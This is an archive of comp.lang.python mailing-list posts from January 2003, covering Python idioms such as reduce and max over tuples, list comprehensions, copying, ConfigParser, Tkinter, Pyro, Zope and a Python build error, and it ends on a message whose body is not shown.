> I tried ('','','') and it worked too ?? But
> as I remarked later, only in this special case.

It's implementation defined; all strings could test greater than all
numerics in a particular Python implementation, for instance.

> So the solution is to start with the first element of l.
> And the the tuples can be what they want: integer, floats etc.
> 
> reduce(lambda y,x:y[2]>x[2] and y or x,l,l[0])
> 
> I think it's the best initial value one can choose.

It's not clear to me why you think an initial value here is necessary in
the first place.  Since you're only doing the equivalent a reduce on a
max function, the only case you'd need to specify that third argument is
if there were nothing to reduce (i.e., the list were empty).  But you
can simply handle that case separately before you call reduce, so it's a
non-issue.

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
/  \ I'm rolling like thunder / I'm feeling my power
\__/ Chante Moore
    CatCam / http://www.catcam.com/
 What do your pets do all day while you're at work?  Find out.



From knightsofspamalot-factotum at gvdnet.dk  Sat Jan 11 19:33:35 2003
From: knightsofspamalot-factotum at gvdnet.dk (Martin Christensen)
Date: Sun, 12 Jan 2003 01:33:35 +0100
Subject: Elegant copy-by-value
Message-ID: <87n0m7urz4.fsf@gvdnet.dk>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Hi!

Python usually uses copy-by-reference. This is all good and well, but
sometimes we want copy-by-value. For a long time now I've been using
copy() or deepcopy(), depending on the circumstances, from the copy
module. Is there no more simple and elegant way of doing this? It
seems strange that one should have to import a module to so something
as simple as a copy-by-value. I should, of course, have researched
this a long, long time ago, but deadlines have a way of defering such
luxuries. :-)

Martin

- -- 
Homepage:       http://www.cs.auc.dk/~factotum/
GPG public key: http://www.cs.auc.dk/~factotum/gpgkey.txt
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.6 (GNU/Linux)
Comment: Using Mailcrypt+GnuPG <http://www.gnupg.org>

iEYEARECAAYFAj4gt98ACgkQYu1fMmOQldWslwCfRTCAOLNxAh4stkyfpsG03MNn
y+0AniqSkJp6NpqiaYSyxRRBvghxiC4J
=KMQM
-----END PGP SIGNATURE-----



From gradha at terra.es  Sun Jan 19 06:31:45 2003
From: gradha at terra.es (Grzegorz Adam Hankiewicz)
Date: Sun, 19 Jan 2003 12:31:45 +0100
Subject: Dos calls in Python
In-Reply-To: <3e2a8519_3@corp.newsgroups.com>
References: <3e29a7ba_3@corp.newsgroups.com> <uvg0mkomj.fsf@online.no> <3e2a8519_3@corp.newsgroups.com>
Message-ID: <20030119113145.GB29855@pedos.es>

On Sun, Jan 19, 2003 at 06:02:48AM -0500, Bill Walker wrote:
> > > Anyway to call dos interrupts from python? I would like to
> > > change to graphics screen mode and call the pixel plot routines
> > > in the BIOS to plot some graphs..
> > 
> > If you are running under windows, using Pygame would be a way
> > to achieve what you want. Pixelplotting and using fullscreen
> > mode. (Pygame works by using directX under the hood).
> 
> That's a good tip, but the notebook that I am using (ZEOS) runs
> dos only.

Then you can skip to SDL's competition and try
http://alleg.sourceforge.net/. Similar to SDL, it's main feature
is DOS support. Since it's a C library, you could wrap it around,
or create a smaller library for DOS ripping it's graphic routines
(note it's public domain license), if you work with djgpp/watcom. If
that's too complicated you might consider feeding your data to a
standalone allegro C program which plots your graphics.

I don't know what your notebook supports, but with Allegro you
at least have VGA and mode-x. It also has VESA support for SVGA
graphics.




From wehbrink at web.de  Tue Jan 21 05:41:03 2003
From: wehbrink at web.de (Mario Wehbrink)
Date: 21 Jan 2003 12:41:03 +0200
Subject: max() of a list of tuples
References: <3e2d27c6$1_1@news.uni-bielefeld.de> <3E2D2E46.6060104@mxm.dk>
Message-ID: <3e2d31cf$1_1@news.uni-bielefeld.de>

Am Die, 21 Jan 2003 schrieb Max M in comp.lang.python:

> Mario Wehbrink wrote:
> 
> > [maximum of list of tuples]
> 
> 
> l = [(1,3,5), (8,16,2), (2,56,4)]
> print max([(i[-1],i) for i in l])[1]
> 
>  >>> (1,3,5)

Nice and elegant! Thanks. Although i don't understand how it works :-/

Mario



From tjreedy at udel.edu  Sat Jan  4 02:21:32 2003
From: tjreedy at udel.edu (Terry Reedy)
Date: Sat, 4 Jan 2003 02:21:32 -0500
Subject: Help, replacing the actual value from a data strucutre in a iterator
References: <c490a7ae.0301031942.5f39a6a8@posting.google.com>
Message-ID: <msudnajgx8ojFoujXTWcqw@comcast.com>

"george hart" <gehart24 at yahoo.com> wrote in message
news:c490a7ae.0301031942.5f39a6a8 at posting.google.com...
> Hello,
>
> My problem is that I have a very complex data structure I need to
> iterate over and change certain values to.  I wrote a 'generator' to
> iterate over my data structure but when i call the next() method in
> the generator object I am returned a value that cannot be used to
> modifiy the original data structure.
>
> Here is a simplified version of my problem:
>
> a=[0,1,2,[20,30,40],9,3]
> def generator(l):
>     for i in l:
>         if type(i) is list:
>             for q in generator(i):
>                 yield q
>         else:
>             yield i
>
> g=generator(a)
> o=g.next()

o is now bound to 0

> o=100   # where i want this assignment to change a[0] to 100

No way.  You are simply rebinding 'o' to a new value.  Just write
'a[0] = 100'!

> print a[0]  #thus a[0] would then print out 100

Terry J. Reedy





From gmuller at worldonline.nl  Fri Jan 24 16:36:33 2003
From: gmuller at worldonline.nl (GerritM)
Date: Fri, 24 Jan 2003 22:36:33 +0100
Subject: Strange response from newsgroup (or mailinglist)
References: <b0s9l9$2am$1@reader1.tiscali.nl>
Message-ID: <b0sbpl$3sm$1@reader1.tiscali.nl>

It happened again, now with a new (long) message.

regards Gerrit

--
www.extra.research.philips.com/natlab/sysarch/
"GerritM" <gmuller at worldonline.nl> schreef in bericht
news:b0s9l9$2am$1 at reader1.tiscali.nl...
> Yesterday I posted a message directly to comp.lang.python and got the
> following return message:
>
> ----start included message---
> Hallo,
>
> Sie erhalten diese Nachricht vom Webmailsystem box.de (http://www.box.de).
>
> Bezugnehmend auf Ihre Nachricht:
>     Re: Python magazine(s)?
> m?ssen wir Ihnen mitteilen, da? die eMail
> ihren Empf?nger '' nicht erreicht hat.
>
>
> Grund: The user has exceeded the maximum number of allowed messages.
>
> Der Mailheader Ihrer Nachricht wurde angeh?ngt.
> Bitte pr?fen Sie den Empf?nger!
>
> Mit freundlichem Gruss
> Ihr Box.de webmail-Team
>
> -------------------------------------------------------------
> Received: (qmail 3552 invoked by uid 512); 23 Jan 2003 20:57:04 -0000
> Received: (qmail 3548 invoked from network); 23 Jan 2003 20:57:04 -0000
> Received: from unknown (HELO mail.python.org) (12.155.117.29)  by
> 217.195.37.29
>     with SMTP; 23 Jan 2003 20:57:04 -0000
> Received: from localhost.localdomain ([127.0.0.1] helo=mail.python.org)
by
>     mail.python.org with esmtp (Exim 4.05)  id 18boOy-0003hY-00; Thu, 23
Jan
>     2003 15:56:44 -0500
> Date: Thu, 23 Jan 2003 21:51:53 +0100
> From: "GerritM" <gmuller at worldonline.nl>
> Subject: Re: Python magazine(s)?
> Sender: python-list-admin at python.org
> To: python-list at python.org
> Content-Type: text/plain
> Content-Transfer-Encoding: quoted-printable
> Message-Id: <b0pkpn$9ft$1 at reader1.tiscali.nl>
> Delivered-To: boxxxdbp-box.de-tf at box.de
> Errors-To: python-list-admin at python.org
> Lines: 37
> List-Archive: <http://mail.python.org/pipermail/python-list/>
> List-Help: <mailto:python-list-request at python.org?subject=help>
> List-Id: General discussion list for the Python programming language
>     <python-list.python.org>
> List-Post: <mailto:python-list at python.org>
> List-Subscribe: <http://mail.python.org/mailman/listinfo/python-list>,
>     <mailto:python-list-request at python.org?subject=subscribe>
> List-Unsubscribe: <http://mail.python.org/mailman/listinfo/python-list>,
>     <mailto:python-list-request at python.org?subject=unsubscribe>
> Mime-Version: 1.0
> Newsgroups: comp.lang.python
> Nntp-Posting-Date: Thu, 23 Jan 2003 20:54:15 +0000 (UTC)
> Nntp-Posting-Host: 195-241-109-126-mx.xdsl.tiscali.nl
> Organization: Tiscali Benelux
> Path:
>
news.baymountain.com!ash.uu.net!dca.uu.net!logbridge.uoregon.edu!kibo.news.d
>
emon.net!demon!lnewspeer00.lnd.ops.eu.uu.net!bnewspeer00.bru.ops.eu.uu.net!e
> mea.uu.net!news.tiscali.nl!not-for-mail
> Precedence: bulk
> References: <tdMX9.440$0L3.172774 at news2.news.adelphia.net>
>     <mailman.1043305901.23880.python-list at python.org>
> X-Beenthere: python-list at python.org
> X-Complaints-To: newsmaster at tiscali.nl
> X-Mailman-Version: 2.0.13 (101270)
> X-Mimeole: Produced By Microsoft MimeOLE V5.50.4920.2300
> X-Msmail-Priority: Normal
> X-Newsreader: Microsoft Outlook Express 5.50.4920.2300
> X-Priority: 3
> X-Scantime: 0
> X-Trace: reader1.tiscali.nl 1043355255 9725 195.241.109.126 (23 Jan 2003
> 20:54:15
>     GMT)
> Xref: news.baymountain.com comp.lang.python:200745
>
> ---end included message---
>
> --
> www.extra.research.philips.com/natlab/sysarch/
>
>





From clifford.wells at attbi.com  Wed Jan 29 01:17:04 2003
From: clifford.wells at attbi.com (Cliff Wells)
Date: 28 Jan 2003 22:17:04 -0800
Subject: else in list comp
In-Reply-To: <eppstein-1A10DE.21363228012003@news.service.uci.edu>
References: <mailman.1043813212.6357.python-list@python.org>
	 <eppstein-1A10DE.21363228012003@news.service.uci.edu>
Message-ID: <1043821023.4925.1445.camel@x1-6-00-04-5a-64-c4-03>

On Tue, 2003-01-28 at 21:36, David Eppstein wrote:
> In article <mailman.1043813212.6357.python-list at python.org>,
>  Cliff Wells <clifford.wells at attbi.com> wrote:
> 
> > Given the list:
> > 
> > l = ['mary', 'had', 'a', 'little', None]
> > 
> > it should get mapped to ['mary', 'had', 'a', 'little', '']
> 
> [x or '' for x in l]

Yes, this was suggested by someone else, but again, solving the
particular problem wasn't the real point.  If the data contains anything
that evaluates to false (such as 0), then x or '' won't work.  I stated
the problem badly which led to this confusion.  My apologies.

Kindly reconsider the problem using 

myList = [0, None, '1', None, 2, None, '3']

My real interest was in a possible "else" clause (as per the subject
line) in a list comp.

['' for i in myList if i is None else i]

It seems a good idea to me, but then, I'm somewhat biased toward my own
ideas.

> btw, l is a bad letter to use for a variable name (easy to confuse with 
> 1 or I or even |).

Noted.

-- 
Cliff Wells <clifford.wells at attbi.com>





From mwm at mired.org  Fri Jan 10 10:28:49 2003
From: mwm at mired.org (Mike Meyer)
Date: Fri, 10 Jan 2003 15:28:49 GMT
Subject: Java 20xfaster then Python !!??
References: <3E1E9CB2.6080001@molgen.mpg.de>
Message-ID: <x7bs2pt45m.fsf@guru.mired.org>

Axel Kowald <kowald at molgen.mpg.de> writes:

> I just had a look at these very detailed benchmark tests,
> http://www.bagley.org/~doug/shootout/, and I was surprised to see that
> often java is 20 times faster than python !!
> 
> How can this be? Both languages interprete bytecode. Maybe because
> java has a JIT compiler ??

That could well be part of it. Dynamic vs. Static typing probably has
something to do with it as well. In particular, since Java doesn't
allow operator overloading (right?), anything using the standard
operators will be much faster because there's no method search
involved.

        <mike

-- 
Mike Meyer <mwm at mired.org>			http://www.mired.org/home/mwm/
Independent WWW/Perforce/FreeBSD/Unix consultant, email for more information.



From ngps at netmemetic.com  Mon Jan 20 04:11:34 2003
From: ngps at netmemetic.com (Ng Pheng Siong)
Date: 20 Jan 2003 09:11:34 GMT
Subject: Digitally signing email messages
References: <de947bd7.0301200018.1daf71d9@posting.google.com>
Message-ID: <b0geg6$eb5$1@reader01.singnet.com.sg>

According to Neil Broers <neil at saebex.com>:
> I have been working lately with a library called M2Crypto to digitally
> sign multipart mime messages. M2Crypto, however, is no longer
> available and the only howto document is no longer hosted. 

Huh? I just released 0.09 a few days ago.

    http://www.post1.com/home/ngps/m2/


-- 
Ng Pheng Siong <ngps at netmemetic.com> * http://www.netmemetic.com




From uwe.schmitt at procoders.net  Fri Jan 24 18:38:34 2003
From: uwe.schmitt at procoders.net (Uwe Schmitt)
Date: 24 Jan 2003 23:38:34 GMT
Subject: killing thread ?
References: <mailman.1043433540.14232.python-list@python.org>
Message-ID: <b0sipq$11356q$1@hades.rz.uni-sb.de>

Tim Peters <tim.one at comcast.net> wrote:
> [Jp Calderone]
>> ...
>> It is currently not possible to write a secure sandbox in
>> Python.  I'm not sure if you can call that a bug; it's certainly
>> unfortunate.

> Just curious:  does there exist a programming language in which it is
> possible do this?  If so, who guarantees it, and via what kind of validation
> process?

AFAIK ruby does it.

Greetings, Uwe.



-- 
Dr. rer. nat. Uwe Schmitt      Computer science is no more about Computers,
uwe.schmitt at num.uni-sb.de      than astronomy is about telescopes. (Dijkstra)
http://www.procoders.net           



From bokr at oz.net  Thu Jan 23 18:14:34 2003
From: bokr at oz.net (Bengt Richter)
Date: 23 Jan 2003 23:14:34 GMT
Subject: How to do this in Python...
References: <b0pnfa$o8m2@eccws12.dearborn.ford.com>
Message-ID: <b0pt0q$is5$0@216.39.172.122>

On Thu, 23 Jan 2003 16:40:02 -0500, "Michael Tiller" <mtiller at ford.com> wrote:

>I'm puzzled by what seems like a missing piece of functionality in Python.
>I suspect there is a simple way to do what I want to do and I'm guessing
>someone here can point it out to me.  Here is the issue:
>
>In C++, I could write a statement like this:
>
>if (match=re.match(pattern, string))
>  // do something with the match object
>
>But I cannot figure out how to do the equivalent thing in Python.  The idea
>here is to have an assignment statement within an if statement so that I
>don't have to call match twice or obfuscate the code.  It seems to me that
>my current options are:
>
>match = re.match(pattern, string)
>if match:
>  // do something with match object
>
>-or-
>
>if re.match(pattern, string):
>    match = re.match(pattern, string)
>
>The first one seems unnecessarily verbose and the second one is inefficient.
>Are there any other options?
>
You could use a callable object to save the value and also immediately return it, e.g.,

 >>> class Holder:
 ...     def __init__(self): self.args = ()
 ...     def __call__(self, *args):
 ...         if args: self.args=args
 ...         if len(self.args)==1: return self.args[0]
 ...         return self.args
 ...
 >>> h = Holder()

 >>> import re
 >>> if h(re.match(r'(\d+)', '123dfgdfg456')): print h().groups()
 ...
 ('123',)
 >>> if h(re.findall(r'(\d+)', 'asda123dfgdfg456')): print h()
 ...
 ['123', '456']
 >>> if h(re.findall(r'(\d+)', 'asdaXXXdfgdfgXXX')): print h()
 ...
 >>>

or you can abuse a list comprehension side effect wart (IMO) to create a local
binding while having the expression evaluate to the thing you want, for the if test:

 >>> if [m for m in [re.findall(r'(\d+)', 'asda123dfgdfg456')]][0]: print m
 ...
 ['123', '456']
 >>> if [m for m in [re.findall(r'(\d+)', 'asdaXXXdfgdfg456')]][0]: print m
 ...
 ['456']
 >>> if [m for m in [re.findall(r'(\d+)', 'asdaXXXdfgdfgXXX')]][0]: print m
 ...
 >>>

You might also want to look at passing a function to re.sub in place
of a replacement pattern, to have your function get called with
match objects. See re module docs.

Regards,
Bengt Richter



From marcel_achim at videotron.ca  Wed Jan 29 23:34:05 2003
From: marcel_achim at videotron.ca (Marcel)
Date: 29 Jan 2003 20:34:05 -0800
Subject: [ [ [] * y for y in range(3) ] * x for x in range(2) ]
Message-ID: <2463d77d.0301292034.1fdc47bd@posting.google.com>

Hi,

I'm trying to allocate nested lists up-front using the subject line,
instead of generating :
[ [ [], [], [] ], [ [], [], [] ] ]
I end up with  :
[ [], [ [], [], [] ] ]

I guess I screwed up something, but I'm failing to understand what...

Any idea ?

thanks
Marcel



From bokr at oz.net  Fri Jan 10 17:42:26 2003
From: bokr at oz.net (Bengt Richter)
Date: 10 Jan 2003 22:42:26 GMT
Subject: YAI: syntax for preset locals without using dummy args with defaults
References: <avmoeu$v8p$0@216.39.172.122> <mailman.1042214841.19151.python-list@python.org>
Message-ID: <avni8i$p57$0@216.39.172.122>

On Fri, 10 Jan 2003 10:05:09 -0600, Skip Montanaro <skip at pobox.com> wrote:

>    Bengt> Right now we often see
>
>    Bengt>     def foo(x, y=default, z=some_expression):
>    Bengt>         ...
>
>    Bengt> where the purpose is not to have three parameters, but two plus a
>    Bengt> local binding (z) in foo to the value of some_expression
>    Bengt> evaluated in the def-time environment. 
>
>This is just a performance hack and should be addressed by other means,
You are commenting on my introductory background paragraph, and I am not
sure whether you ignored the rest ;-/

I agree that abusing default args is a hack, that's why I posted what followed,
which was a proposal of one way to have it "addressed by other means." ;-)

>e.g., more efficient access to global variables.  See, for example, PEPs 266
>and 267.  I believe other not-yet--PEPped proposals have been floated as
>well.
I just had a brief look at 266 and 267. IMO tracking changes to a binding
that was used in the past to find an object smacks of C variable thinking.

IOW, it would be a change in the *object* that should be of interest, not
a change in some name's binding in some module's dictionary. Why would
a change there be of interest, unless it's known to be a dynamically changing
binding, and you are specifically interested in tracking that? That certainly
wouldn't be the case for most elements of library modules etc.

I guess the point is that a bunch of code is written with multi-dotted attribute
chains even inside of hot loops, but that is just as bad as reevaluating constant
arithmetic expressions that could be hoisted out of a loop. Since there is
no optimizer that knows whether we mean what we write, we have to do that
by hand.

IMO, I just provided a simple syntax for writing what we mean without abusing
defaults, but providing a logical up-front place for local bindings to objects
that don't need to be lookup up more than once.

Of course that doesn't improve the performance of legacy code, and ;-)

It is pretty ugly to contemplate monitoring dictionary updates all over the
place to trigger re-evaluations of expressions that may be dependent on
particular name rebindings. What if the expression has a side effect? When do
you want it and when don't you? I think it will be hard to generalize without
some declarative hints or plain restricted definitions of "how it's going to be." ;-)

BTW, my newsreader doesn't pick up Cliff's post as part of this thread. Is that
just my problem, or what makes that happen? I've seen a few other examples.

Regards,
Bengt Richter



From martin at v.loewis.de  Thu Jan 23 12:32:40 2003
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Thu, 23 Jan 2003 18:32:40 +0100
Subject: widget communication in Tkinter
In-Reply-To: <3E301C00.5050709@motorola.com>
References: <3E301C00.5050709@motorola.com>
Message-ID: <b0p8vl$qak$03$2@news.t-online.com>

Stephen Boulet wrote:
> I was wondering if tkinter has some sort of built in mediator class to 
> handle transactions like this.

No, it doesn't. Implementing it in "plain Python", as you did, is quite 
common with Tkinter.

Regards,
Martin




From mruiz at safa.es  Thu Jan 16 10:18:48 2003
From: mruiz at safa.es (Manuel Ruiz)
Date: Thu, 16 Jan 2003 15:18:48 GMT
Subject: odbc dsn
Message-ID: <3e26cd2d.96254446@news.mad.ttd.net>

Anyone could tell me how I could get a list of odbc dsn.

Thanks in advance
Manuel Ruiz




From irmen at -NOSPAM-REMOVETHIS-xs4all.nl  Wed Jan 29 17:38:27 2003
From: irmen at -NOSPAM-REMOVETHIS-xs4all.nl (Irmen de Jong)
Date: Wed, 29 Jan 2003 23:38:27 +0100
Subject: pyro and py2exe
In-Reply-To: <ohig3v02qc34bn9j74jtud3f85727es808@4ax.com>
References: <ohig3v02qc34bn9j74jtud3f85727es808@4ax.com>
Message-ID: <3e38566b$0$49109$e4fe514c@news.xs4all.nl>

Marcus Stojek wrote:
> I have found pyro and I think its exactly what I need.
> After a short scan of the docs I found that some scripts
> have to be run (e.g. to start the nameserver)
> 
> for example:
> python -O -c "import Pyro.nsc; Pyro.nsc.main()" %*
> 
> Does that mean that I can't use py2exe with pyro because
> the "user" needs a full python installation to start the
> script?

I don't know Py2exe but if it does what I think it does
(building one single exe from your application), you
have two choices:

1) start the Name Server automatically in a separate
    process or tread, just as the script does.
2) don't use Pyro's name server. Use PYROLOC: uri's,
    or use the Pyro URI strings from the objects directly.

Cheers,
Irmen




From illuza at eoneo.co.kr  Wed Jan  1 20:01:19 2003
From: illuza at eoneo.co.kr (¹ÚÈ£°æ)
Date: Thu, 2 Jan 2003 10:01:19 +0900
Subject: python2.2.2 make error
Message-ID: <av01bq$ri8$1@news1.kornet.net>

I have a problem in compiling python 2.2.2.

The error message is like this.

c++  -Xlinker -export-dynamic -o python \
                Modules/python.o \
                libpython2.2.a -ldl  -lpthread -lutil   -lm
/usr/bin/ld: Dwarf Error: Invalid or unhandled FORM value: 14.
libpython2.2.a(posixmodule.o): In function `posix_tmpnam':
/home/Jack/LearningPython/Python-2.2.2/Modules/posixmodule.c:4505: the use
of `tmpnam_r' is dangerous, better use `mkstemp'
libpython2.2.a(posixmodule.o): In function `posix_tempnam':
/home/Jack/LearningPython/Python-2.2.2/Modules/posixmodule.c:4455: the use
of `tempnam' is dangerous, better use `mkstemp'
collect2: ld returned 1 exit status
make: *** [python] error 1

Red Hat 7.2 and gcc version 3.1.1

Any suggestion would be very appreciated.

Thanks for reading.






From kim at ypsilon.net  Wed Jan 15 00:34:30 2003
From: kim at ypsilon.net (kim)
Date: 15 Jan 2003 06:34:30 +0100
Subject: [Fwd: Re: ConfigParser question]
Message-ID: <1042608870.20040.29.camel@orange.infosys.de>

Hi,

i think there is something wrong:

[dirs]
recursive = /home/cmolina
recursive = /etc
recursive = /tmp/usr

shouldn't it be:

[dirs]
recursive:/home/cmolina
recursive:/etc
recursive:/tmp/usr

i don't know if the other method works to, but i use the second one very often and it works.

best regards

Andy

-----Weitergeleitete Nachricht-----


From: Gillou <nospam at bigfoot.com>
To: python-list at python.org
Subject: Re: ConfigParser question
Date: 14 Jan 2003 23:30:07 +0100

"Carlos Molina" <cmolina at net-uno.net> a ?crit dans le message de news:
mailman.1042566386.23438.python-list at python.org...
> Greetings
>
> I'm new to python (i come from perl) and I am doing a little program...
> My question is with ConfigParser class..
>
> If I have the following conf file
>
> [dirs]
> recursive = /home/cmolina
> recursive = /etc
> recursive = /tmp/usr
>

You should not give the same name to various variables (recursive) within
the same section.

Alternative :
===
...
[dirs]
recursive = /home/cmolina /etc /tmp/usr
                  /somewhere/else
...
===

And then split the config.get('dirs', 'recursive')

Cheers

--Gilles



-- 
http://mail.python.org/mailman/listinfo/python-list
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-list/attachments/20030115/de8fa514/attachment.html>

From sameer_ at email.com  Mon Jan  6 11:07:20 2003
From: sameer_ at email.com (sameer)
Date: 6 Jan 2003 08:07:20 -0800
Subject: Instantiating only one object of a Product in Zope 2.5.1
Message-ID: <6bd9f01b.0301060807.378056e4@posting.google.com>

I don't know if this forum is the right one to post for zope issues,
but here's my question.

I have a product that I wrote in zope which is just a big hash.  It
loads in company names as keys, and from a text file, adds ticker
items as each value for a particular key.  Now I only want this huge
dictionary to load once, which is when zope starts up (possibly in a
global space), as I need one copy of it and I need that one copy to
update every x number of minutes.  Currently, I think, each user that
views this product, loads his own copy of the hash, which makes it
slow and a memory hog.  I only want a single copy available to all
users, and the data refresh time to be determined by the system or the
user.

I am using: Zope 2.5.1 with Python 2.1.3 on win 2k professional.  

All help is highly appreciated.



From peter at engcorp.com  Fri Jan 10 21:12:35 2003
From: peter at engcorp.com (Peter Hansen)
Date: Fri, 10 Jan 2003 21:12:35 -0500
Subject: nyu cs department
References: <3e1f77d2$1_7@nopics.sjc>
Message-ID: <3E1F7D93.F9B3A62D@engcorp.com>

Tupoi wrote:
> 
> anyone know how the nyu cs department stacks up against the giants(MIT) is
> it a lot worse or what?? also same question for cornell??

They're both better...  as is Cornell.

(Hint: this is a meaningless question without context...  it's probable
any answers you get, even with some context, will be equally meaningless.)

(And it's not even on topic for the Python newsgroup!)

-Peter



From sholden at holdenweb.com  Thu Jan 16 09:30:45 2003
From: sholden at holdenweb.com (Steve Holden)
Date: Thu, 16 Jan 2003 14:30:45 GMT
Subject: Python23: cannot inherit from bool?
References: <bb3eec0f.0301141812.18e916bf@posting.google.com> <b03kr8$lbili$1@ID-71831.news.dfncis.de> <VioEfKAwHWJ+EwJk@jessikat.demon.co.uk> <hk0d2vgdann9etn76olun0nj383jtf0ige@4ax.com>
Message-ID: <pmzV9.5759$YI5.612@news2.central.cox.net>

"Dale Strickland-Clark" <dale at riverhall.NOTHANKS.co.uk> wrote in message
news:hk0d2vgdann9etn76olun0nj383jtf0ige at 4ax.com...
[...]
> At the risk of sounding dim: what's a leaf class?

At the risk of sounding superficial, a place where bits of trees go to learn
things :-)

really-can't-help-myself-today-ly y'rs  - steve
--
Steve Holden                                  http://www.holdenweb.com/
Python Web Programming                 http://pydish.holdenweb.com/pwp/
Bring your musical instrument to PyCon!    http://www.python.org/pycon/

Systems Ltd





From sasDOTepsylon at wanadoo.fr  Mon Jan  6 13:08:24 2003
From: sasDOTepsylon at wanadoo.fr (EpSyLOn)
Date: Mon, 06 Jan 2003 19:08:24 +0100
Subject: new years resolutions
References: <mailman.1041550805.3550.python-list@python.org> <1041705923.6001.32.camel@x1-6-00-04-5a-64-c4-03> <200301041905.h04J5njL016319@ratthing-b246.strakt.com> <mailman.1041710048.20334.python-list@python.org> <avahot$1ji$1@nyheter.chalmers.se>
Message-ID: <3ehj1vo4un9m8vvtc51iac1j46btlih4cv@4ax.com>

On 6 Jan 2003 00:14:21 GMT, jacob at cd.chalmers.se (Jacob Hallen) wrote:

>In article <mailman.1041710048.20334.python-list at python.org>,
>Cliff Wells  <clifford.wells at attbi.com> wrote:
>>"The world is divided into two kinds of people: Those who divide the
>>world into two kinds of people, and those who don't."
>>    Robert Benchley
>
>The world is divided into three kinds of people. Those who can count and
>those who can't.

The world is divided into 10 kinds of people : those who understand
binary and those who don't. ;-)
++                             ___
                              |   |    \|/
  sas.epsylon<at>wanadoo.fr   |   |   (o -)
  ______ ______  _____ __   _ |   |ooO_(_)_Ooo
 /  __  Y      \/ ____/  \/  !'   |/    \     \
|   ____/ |__>  |____ \  `   |    |_ O   | ^   |
 \_____/|   ___/______X_    Y_______|___/__||__|
   ~*~  |__|R?cursif: \____/ adj, cf R?cursif.



From bkc at Murkworks.com  Fri Jan  3 16:15:05 2003
From: bkc at Murkworks.com (Brad Clements)
Date: Fri, 3 Jan 2003 16:15:05 -0500
Subject: Retrieving formatted date from Interbase DB into Zope
References: <64bbc67.0301030805.71b023d0@posting.google.com>
Message-ID: <3e15fa39_1@goliath.newsgroups.com>

I used Kinterbas for a while, but switched to gvibDA.

in either case, you'll probably find it easier to pass your date into a
DateTime object, then use DateTime methods to format the output.




--
Novell DeveloperNet Sysop #5

_
"Ashley" <ashleylloyd at hotmail.com> wrote in message
news:64bbc67.0301030805.71b023d0 at posting.google.com...
> I am attempting to use KinterbasdbDA.1.0 to connect from a Zope
> installation (Zope 2.5.1, Python 2.1.3, on Win 2k) to an Interbase
> database.
>
> I have a problem with retrieving any data of type date. It only seems
> to want to format the date as yyyy-mm-dd HH:MM:SS.ss. Any attempt to
> force the format (eg. fmt="aCommon", fmt="%d/%m/%Y") results in an
> error like:
>
> Error Type: TypeError
> Error Value: not enough arguments for format string
>
> or
>
> Error Type: TypeError
> Error Value: not all arguments converted
>
> Can anyone suggest a way around this? I'm sure there is one, I just
> can't find it!?!
>
> Thanks in advance
>
> Ashley




-----------== Posted via Newsfeed.Com - Uncensored Usenet News ==----------
   http://www.newsfeed.com       The #1 Newsgroup Service in the World!
-----= Over 100,000 Newsgroups - Unlimited Fast Downloads - 19 Servers =-----



From p-abel at t-online.de  Thu Jan 23 18:03:59 2003
From: p-abel at t-online.de (Peter Abel)
Date: 23 Jan 2003 15:03:59 -0800
Subject: max() of a list of tuples
References: <3e2d27c6$1_1@news.uni-bielefeld.de> <ygaX9.4400$bL4.431294@newsread2.prod.itd.earthlink.net> <13a533e8.0301211252.187ffeb9@posting.google.com> <b0l57d$12j$1@wheel2.two14.net> <13a533e8.0301220447.802ca54@posting.google.com> <3E2F37B4.C8CB8F1A@alcyone.com>
Message-ID: <13a533e8.0301231503.680fe0eb@posting.google.com>

Erik Max Francis <max at alcyone.com> wrote in message news:<3E2F37B4.C8CB8F1A at alcyone.com>...
> Peter Abel wrote:
> 
> > Believe me, I'm not at all happy with (-1.e16,-1.e16,-1.e16).
> > It's only because nothing else came into my head.
> > I tried ('','','') and it worked too ?? But
> > as I remarked later, only in this special case.
> 
> It's implementation defined; all strings could test greater than all
> numerics in a particular Python implementation, for instance.
> 
> > So the solution is to start with the first element of l.
> > And the the tuples can be what they want: integer, floats etc.
> > 
> > reduce(lambda y,x:y[2]>x[2] and y or x,l,l[0])
> > 
> > I think it's the best initial value one can choose.
> 
> It's not clear to me why you think an initial value here is necessary in
> the first place.
When I played around with some examples, it seemed not to work without
an initial value.
>                 Since you're only doing the equivalent a reduce on a
> max function, the only case you'd need to specify that third argument is
> if there were nothing to reduce (i.e., the list were empty).
I think you're right:

>>> n=0
>>> def my_max(y,x):
... 	global n
... 	print 'y(%d)=%s'%(n,str(y))
... 	n+=1
... 	return y[2]>x[2] and y or x
... 
>>> l= [(-52, -28, -987), (-63, -16, 295), (-54, -16, 809), (-13, -3,
-14), (-97, -36, 552)]
>>> print 'Result:%s'%str(reduce(my_max,l))
y(0)=(-52, -28, -987)
y(1)=(-63, -16, 295)
y(2)=(-54, -16, 809)
y(3)=(-54, -16, 809)
Result:(-54, -16, 809)
>>> n=0
>>> l= [(-52, -28, -987), (-63, -16, -295), (-54, -16, -809), (-13,
-3, -14), (-97, -36, -552)]
>>> print 'Result:%s'%str(reduce(my_max,l))
y(0)=(-52, -28, -987)
y(1)=(-63, -16, -295)
y(2)=(-63, -16, -295)
y(3)=(-13, -3, -14)
Result:(-13, -3, -14)
>>> 
And if there's no initial value, it seems the
reduce-function starts with the first element of l.
(As I said l[0] <wink>)

>                                                             But you
> can simply handle that case separately before you call reduce, so it's a
> non-issue.
I like it compact:
>>> l=[]
>>> reduce(lambda y,x:y[2]>x[2] and y or x,len(l) and l or
[('this','is an','empty list!!')])
('this', 'is an', 'empty list!!')
>>> l= [(-52, -28, -987), (-63, -16, -295), (-54, -16, -809), (-13,
-3, -14), (-97, -36, -552)]
>>> reduce(lambda y,x:y[2]>x[2] and y or x,len(l) and l or
[('this','is an','empty list!!')])
(-13, -3, -14)
>>> 

Peter



From judoscript at hotmail.com  Wed Jan  8 01:02:09 2003
From: judoscript at hotmail.com (James Huang)
Date: 7 Jan 2003 22:02:09 -0800
Subject: Novel Thoughts on Scripting and Languages
References: <52719db8.0301062130.5299a0ff@posting.google.com> <063n1vc467bvpuhblk198ciat7rjfroe7h@4ax.com>
